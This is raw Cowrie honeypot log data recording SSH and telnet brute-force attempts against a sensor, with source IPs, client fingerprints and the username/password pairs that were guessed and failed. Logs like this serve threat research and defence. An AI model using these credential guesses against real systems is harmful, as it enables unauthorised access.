{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon","message":"login attempt [cannon/cannon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:28.955465Z","src_ip":"213.209.159.159","session":"d0bc6f14a1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon1","message":"login attempt [cannon/cannon1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:30.040385Z","src_ip":"213.209.159.159","session":"d0bc6f14a1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon123","message":"login attempt [cannon/cannon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:31.128898Z","src_ip":"213.209.159.159","session":"d0bc6f14a1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon1234","message":"login attempt [cannon/cannon1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:32.214713Z","src_ip":"213.209.159.159","session":"d0bc6f14a1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon12345","message":"login attempt [cannon/cannon12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:33.300683Z","src_ip":"213.209.159.159","session":"d0bc6f14a1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:34.386577Z","src_ip":"213.209.159.159","session":"d0bc6f14a1ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60350,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b9818329a5e","protocol":"ssh","message":"New connection: 159.203.92.129:60350 (159.203.135.109:22) [session: 8b9818329a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:34.944431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:34.949917Z","src_ip":"159.203.92.129","session":"8b9818329a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:34.954855Z","src_ip":"159.203.92.129","session":"8b9818329a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12026","message":"login attempt [admin1/admin12026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:34.968246Z","src_ip":"159.203.92.129","session":"8b9818329a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":45028,"dst_ip":"10.17.0.5","dst_port":23,"session":"75c7adbee496","protocol":"telnet","message":"New connection: 69.6.202.156:45028 (10.17.0.5:23) [session: 75c7adbee496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:35.206512Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:35.975365Z","src_ip":"159.203.92.129","session":"8b9818329a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":57430,"dst_ip":"159.203.135.109","dst_port":22,"session":"2463ae3f2553","protocol":"ssh","message":"New connection: 45.120.216.232:57430 (159.203.135.109:22) [session: 2463ae3f2553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:37.003324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:37.009018Z","src_ip":"45.120.216.232","session":"2463ae3f2553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:37.253021Z","src_ip":"45.120.216.232","session":"2463ae3f2553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.855125665664673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:38.036072Z","src_ip":"69.6.202.156","session":"9e8172d68ad5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"098765","message":"login attempt [ubuntu/098765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:38.258988Z","src_ip":"45.120.216.232","session":"2463ae3f2553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:39.505516Z","src_ip":"45.120.216.232","session":"2463ae3f2553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":53918,"dst_ip":"10.17.0.5","dst_port":23,"session":"d47cb145ed42","protocol":"telnet","message":"New connection: 69.6.202.156:53918 (10.17.0.5:23) [session: d47cb145ed42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:39.819191Z"}
{"eventid":"cowrie.session.closed","duration":30.934144258499146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:40.092050Z","src_ip":"69.6.202.156","session":"bde6d0c979cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62962794303894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:46.039270Z","src_ip":"69.6.202.156","session":"3c681e8ccd0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":51052,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9889894975","protocol":"telnet","message":"New connection: 69.6.202.156:51052 (10.17.0.5:23) [session: 7a9889894975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:47.546675Z"}
{"eventid":"cowrie.session.closed","duration":30.493974208831787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:49.068075Z","src_ip":"69.6.202.156","session":"c7aa64ff6c6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685686826705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:57.183759Z","src_ip":"69.6.202.156","session":"a341afa9a225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":56978,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f64d5743910","protocol":"telnet","message":"New connection: 69.6.202.156:56978 (10.17.0.5:23) [session: 9f64d5743910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:01.269680Z"}
{"eventid":"cowrie.session.closed","duration":30.827455759048462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:06.033853Z","src_ip":"69.6.202.156","session":"75c7adbee496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49587845802307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:10.314965Z","src_ip":"69.6.202.156","session":"d47cb145ed42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35356,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ebc7d874249","protocol":"ssh","message":"New connection: 159.203.92.129:35356 (159.203.135.109:22) [session: 8ebc7d874249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:16.642057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:16.646912Z","src_ip":"159.203.92.129","session":"8ebc7d874249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:16.651608Z","src_ip":"159.203.92.129","session":"8ebc7d874249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1321","message":"login attempt [admin1/admin1321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:16.667086Z","src_ip":"159.203.92.129","session":"8ebc7d874249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:17.683248Z","src_ip":"159.203.92.129","session":"8ebc7d874249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50422978401184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:18.050813Z","src_ip":"69.6.202.156","session":"7a9889894975","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":44470,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aaa3047a21c","protocol":"telnet","message":"New connection: 69.6.202.156:44470 (10.17.0.5:23) [session: 1aaa3047a21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:25.582324Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":50864,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe08b719efc","protocol":"telnet","message":"New connection: 69.6.202.156:50864 (10.17.0.5:23) [session: fbe08b719efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:26.494778Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":50874,"dst_ip":"10.17.0.5","dst_port":23,"session":"2962d576534a","protocol":"telnet","message":"New connection: 69.6.202.156:50874 (10.17.0.5:23) [session: 2962d576534a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:27.960601Z"}
{"eventid":"cowrie.session.closed","duration":30.775049686431885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:32.044597Z","src_ip":"69.6.202.156","session":"9f64d5743910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":47176,"dst_ip":"159.203.135.109","dst_port":22,"session":"707b77d9e860","protocol":"ssh","message":"New connection: 45.120.216.232:47176 (159.203.135.109:22) [session: 707b77d9e860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:32.696519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:32.701150Z","src_ip":"45.120.216.232","session":"707b77d9e860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:32.905946Z","src_ip":"45.120.216.232","session":"707b77d9e860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@55word","message":"login attempt [admin/P@55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:33.761986Z","src_ip":"45.120.216.232","session":"707b77d9e860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:34.970344Z","src_ip":"45.120.216.232","session":"707b77d9e860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.457847833633423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:56.040030Z","src_ip":"69.6.202.156","session":"1aaa3047a21c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.555856466293335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:57.050514Z","src_ip":"69.6.202.156","session":"fbe08b719efc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58824,"dst_ip":"159.203.135.109","dst_port":22,"session":"2768784b7b9c","protocol":"ssh","message":"New connection: 159.203.92.129:58824 (159.203.135.109:22) [session: 2768784b7b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:57.826356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:57.830982Z","src_ip":"159.203.92.129","session":"2768784b7b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:57.835687Z","src_ip":"159.203.92.129","session":"2768784b7b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1456123","message":"login attempt [admin1/admin1456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:57.847580Z","src_ip":"159.203.92.129","session":"2768784b7b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.111781120300293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:58.072253Z","src_ip":"69.6.202.156","session":"2962d576534a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:21:58.854650Z","src_ip":"159.203.92.129","session":"2768784b7b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.215.11.60","src_port":5631,"dst_ip":"159.203.135.109","dst_port":23,"session":"17a4def4f4b7","protocol":"telnet","message":"New connection: 37.215.11.60:5631 (159.203.135.109:23) [session: 17a4def4f4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:02.459677Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22596,"dst_ip":"10.17.0.5","dst_port":22,"session":"03d262dc8340","protocol":"ssh","message":"New connection: 87.251.64.176:22596 (10.17.0.5:22) [session: 03d262dc8340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:08.151989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:22:08.159624Z","src_ip":"87.251.64.176","session":"03d262dc8340","protocol":"ssh"}
